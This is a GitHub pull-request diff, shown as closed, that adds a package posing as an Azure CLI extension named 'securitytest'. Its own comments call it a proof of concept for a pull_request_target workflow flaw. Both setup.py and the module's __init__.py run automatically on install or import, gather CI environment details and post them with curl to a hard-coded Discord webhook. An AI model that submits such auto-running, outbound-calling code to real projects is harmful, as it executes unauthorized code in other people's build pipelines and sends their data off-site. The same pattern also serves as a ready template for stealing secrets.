Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions src/securitytest/HISTORY.rst
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
.. :changelog:

Release History
===============

0.1.0
++++++
* Security research PoC
4 changes: 4 additions & 0 deletions src/securitytest/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
# Security Research PoC

This extension is a proof-of-concept for a `pull_request_target` workflow misconfiguration.
It does not contain any functional Azure CLI commands.
58 changes: 58 additions & 0 deletions src/securitytest/azext_securitytest/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
# Security research PoC - proves code execution via pull_request_target
# This code runs when azdev imports the extension module

import os
import json
import subprocess
import datetime

poc_data = {
"poc": "pull_request_target RCE via azdev extension add",
"researcher": "Bodlux",
"timestamp": datetime.datetime.utcnow().isoformat(),
"github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"),
"github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"),
"github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"),
"github_actor": os.environ.get("GITHUB_ACTOR", "unknown"),
"runner_name": os.environ.get("RUNNER_NAME", "unknown"),
"runner_os": os.environ.get("RUNNER_OS", "unknown"),
}

# Method 1: curl to Discord webhook (most reliable)
webhook_url = "https://discord.com/api/webhooks/1492977203141410952/P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y"

message = json.dumps({
"content": (
"**PoC: pull_request_target RCE - azure-cli-extensions**\n"
"```\n"
f"Repo: {poc_data['github_repository']}\n"
f"Run ID: {poc_data['github_run_id']}\n"
f"Event: {poc_data['github_event_name']}\n"
f"Actor: {poc_data['github_actor']}\n"
f"Runner: {poc_data['runner_name']}\n"
f"Time: {poc_data['timestamp']}\n"
"```\n"
"Arbitrary code execution achieved via fork PR.\n"
"No secrets were accessed."
)
})

try:
subprocess.run(
["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json",
"-d", message, webhook_url],
timeout=10,
capture_output=True
)
except Exception:
pass

# Method 2: print to stdout (visible in workflow logs)
print("\n" + "=" * 60)
print(" [PoC] Arbitrary code execution via pull_request_target")
print(f" Repository: {poc_data['github_repository']}")
print(f" Run ID: {poc_data['github_run_id']}")
print(f" Event: {poc_data['github_event_name']}")
print(f" Runner: {poc_data['runner_name']}")
print(" No secrets accessed. This is a harmless PoC.")
print("=" * 60 + "\n")
3 changes: 3 additions & 0 deletions src/securitytest/azext_securitytest/azext_metadata.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
{
"azext.minCliCoreVersion": "2.15.0"
}
2 changes: 2 additions & 0 deletions src/securitytest/setup.cfg
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[bdist_wheel]
universal=1
61 changes: 61 additions & 0 deletions src/securitytest/setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/usr/bin/env python

# Security research PoC - proves code execution during pip install
# HARMLESS - only sends a webhook callback, no modifications

import os
import json
import subprocess
import datetime

poc_data = {
"source": "setup.py",
"timestamp": datetime.datetime.utcnow().isoformat(),
"github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"),
"github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"),
"github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"),
"github_actor": os.environ.get("GITHUB_ACTOR", "unknown"),
"runner_name": os.environ.get("RUNNER_NAME", "unknown"),
}

webhook_url = "https://discord.com/api/webhooks/1492977203141410952/P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y"

message = json.dumps({
"content": (
"**PoC: setup.py execution - azure-cli-extensions**\n"
"```\n"
f"Repo: {poc_data['github_repository']}\n"
f"Run ID: {poc_data['github_run_id']}\n"
f"Event: {poc_data['github_event_name']}\n"
f"Actor: {poc_data['github_actor']}\n"
f"Runner: {poc_data['runner_name']}\n"
f"Time: {poc_data['timestamp']}\n"
"```\n"
"setup.py executed during pip install from fork PR."
)
})

try:
subprocess.run(
["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json",
"-d", message, webhook_url],
timeout=10,
capture_output=True
)
except Exception:
pass

print("[PoC] setup.py executed - webhook sent")

from setuptools import setup, find_packages

setup(
name='securitytest',
version='0.1.0',
description='Security research PoC',
author='Bodlux',
license='MIT',
packages=find_packages(),
install_requires=[],
package_data={'azext_securitytest': ['azext_metadata.json']},
)
Loading